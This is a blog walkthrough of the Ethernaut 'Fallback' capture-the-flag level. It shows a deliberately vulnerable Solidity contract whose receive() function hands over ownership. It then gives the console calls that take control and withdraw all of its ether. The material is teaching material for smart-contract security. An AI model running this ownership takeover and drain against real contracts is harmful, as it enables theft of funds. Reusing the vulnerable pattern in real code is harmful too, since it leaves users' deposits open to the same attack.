DEV Community

Cover image for Fallback - Level 01
Stefan Alfbo
Stefan Alfbo

Posted on

Fallback - Level 01

Problem statement

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units (see help() command)
  • Fallback methods
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet.

Open up the developer tool in your browser (F12).

Next move is to send a contribution to the contract by using the contribute function.

await contract.contribute({value: toWei('0.0001')})
Enter fullscreen mode Exit fullscreen mode

When that transaction has been accepted (both by you in the wallet and the network) it it's time for next interaction with the contract.

await contract.sendTransaction({value: toWei('0.0001')})
Enter fullscreen mode Exit fullscreen mode

Now we have the ownership of the contract, time to reduce its balance to 0.

await contract.withdraw()
Enter fullscreen mode Exit fullscreen mode

To finalize the challenge click the button, Submit instance, to commit the solution to the ethernaut contract.

Image description

Explanation

There are two goals, claim the ownership of the contract and reduce it balance to 0.

To solve the first goal I will look after code affecting the state variable owner in the code.

I found three places when scanning through the code.

 constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
Enter fullscreen mode Exit fullscreen mode

The constructor, when the contract is created, is setting the owner to whoever is creating the contract. The contract is already deployed so this is a dead end.

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
Enter fullscreen mode Exit fullscreen mode

The contribute function seems more promising. It require us to contribute less than 0.001 ether, however we will need to contribute more than the current owner to claim the ownership of the contract.

If we check the constructor again we will see that the owner starts with 1 000 ether.

contributions[msg.sender] = 1000 * (1 ether);
Enter fullscreen mode Exit fullscreen mode

This makes it more difficult and expensive. We would need a lot of ether (even if we would get it back in the second goal) and the contribute function limits us on how much we can contribute on each call.

require(msg.value < 0.001 ether);
Enter fullscreen mode Exit fullscreen mode

Lets investigate the third code snippet that alters the owner state variable.

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
Enter fullscreen mode Exit fullscreen mode

Here is the requirements that we need to send some eth to the receive function and we need to have contributed with more than 0 wei to the contract. If we manage to fulfill these conditions when calling the receive function we will reach the first goal.

await contract.contribute({value: toWei('0.0001')})
Enter fullscreen mode Exit fullscreen mode

We need to remember to fulfill the require guard in the contribute function, otherwise the transaction will fail. Therefore we include a value that must be less than 0.001 eth. Value is always in Wei when making transactions with Ethereum, so the toWei method is handy here.

The actually claim of the ownership of the contract is done when calling the receive function.

await contract.sendTransaction({value: toWei('0.0001')})
Enter fullscreen mode Exit fullscreen mode

receive is a special function in a solidity contract. This acts as a "fallback" function when someone is sending eth to the contract. Since we have done a contribution and are sending some eth in the call above we are fulfilling the conditions in the receive function.

require(msg.value > 0 && contributions[msg.sender] > 0)
Enter fullscreen mode Exit fullscreen mode

The address of the owner of the contract should be your account now, check in the console with following line of code.

await contract.owner()
Enter fullscreen mode Exit fullscreen mode

The second goal to withdraw all ether from the contract is straightforward now. The withdraw function seems to do the job.

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }
Enter fullscreen mode Exit fullscreen mode

Now that we are owner of the contract the modifier, onlyOwner, will not be a problem anymore. So we only need to make the call to the withdraw function.

await contract.withdraw()

const contractAddress = await contract.address
await getBalance(contractAddress)

// Output: 0
Enter fullscreen mode Exit fullscreen mode

Mission accomplished!

Resources

Top comments (0)